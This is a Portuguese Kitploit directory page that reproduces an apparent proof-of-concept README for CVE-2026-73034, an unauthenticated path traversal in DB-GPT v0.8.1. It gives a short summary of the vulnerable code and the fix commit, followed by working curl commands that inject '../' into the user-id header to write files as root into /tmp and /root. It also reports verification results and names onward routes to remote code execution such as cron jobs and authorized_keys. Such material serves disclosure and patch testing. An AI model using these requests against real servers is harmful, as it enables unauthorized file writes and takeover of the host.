Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-73034-PoC — CVE-2026-73034 — DB-GPT v0.8.1 path traversal não autenticado → gravação arbitrária de arquivos como root via cabeçalho user-id. Verificado + diff de correção | Kitploit
Ferramentas/GitHubGitHub/boreas37/cve-2026-73034-poc
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebSegurança WebTestes de PenetraçãoDesenvolvimento de Payloads
GitHubboreas37/cve-2026-73034-poc

CVE-2026-73034-PoC

CVE-2026-73034 — DB-GPT v0.8.1 path traversal não autenticado → gravação arbitrária de arquivos como root via cabeçalho user-id. Verificado + diff de correção

Ver Repositório
149há 1 mêsAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-73034 — DB-GPT v0.8.1 Path Traversal não autenticado → Escrita Arbitrária de Arquivos

CVSS 9.8 (Crítico) · CWE-22 · GHSA/Issue #3104

Resumo

POST /api/v1/python/file/upload no DB-GPT v0.8.1 recebe o cabeçalho HTTP user-id e o utiliza bruto como um componente de caminho:

upload_dir = os.path.join(base_dir, "python_uploads", user_id)
os.makedirs(upload_dir, exist_ok=True)
open(file_path, "wb")

Não há autenticação — se o cabeçalho estiver ausente, o aplicativo recorre a user_id="001" com role="admin". Injetar sequências ../ em user-id escapa da raiz de uploads e permite que um atacante remoto não autenticado escreva arquivos arbitrários em qualquer lugar onde o processo do contêiner (root) possa escrever → caminho direto para RCE (webroot .py, cron jobs, authorized_keys, …).

Afetado: DB-GPT ≤ v0.8.1 Corrigido: v0.8.2+ — commit e0c741bd2b5e521b128cffb3f68982dde3f7b359 (adiciona uma lista de permissões _SAFE_USER_ID_RE com regex ^[A-Za-z0-9_\-]+$, verificações de contenção do diretório de upload e uma reverificação de symlink TOCTOU).

Exploit

# write pwned.txt into /tmp/pwned/ on the server (as root)
curl -X POST "http://TARGET/api/v1/python/file/upload" \
  -H "user-id: ../../../../tmp/pwned" \
  -F "[email protected];filename=pwned.txt"

# write into /root/ (arbitrary location)
curl -X POST "http://TARGET/api/v1/python/file/upload" \
  -H "user-id: ../../../../root" \
  -F "[email protected];filename=pwned_root.txt"

Nota: o FastAPI mapeia o parâmetro user_id para o cabeçalho HTTP user-id (hífen, não sublinhado).

Verificação (2026-08-12, laboratório Docker, ARM64)

TesteResultado
Upload de controle (user-id: alice)✅ /app/python_uploads/alice/control.txt
Exploit user-id: ../../../../tmp/pwned✅ /tmp/pwned/pwned.txt ESCRITO (root)
Exploit user-id: ../../../../root✅ /root/pwned_root.txt ESCRITO
Versão corrigida (e0c741bd)✅ HTTP 400 Invalid user_id: only alphanumeric characters, underscores and hyphens are allowed

Script completo: poc_cve-2026-73034.sh (executa ambos os exploits + verificação no contêiner + comparação com a versão corrigida).

Referências

  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-73034
  • Fix: https://github.com/eosphoros-ai/DB-GPT/commit/e0c741bd2b5e521b128cffb3f68982dde3f7b359
  • Issue: https://github.com/eosphoros-ai/DB-GPT/issues/3104
  • Project: https://github.com/eosphoros-ai/DB-GPT
Baixar ferramenta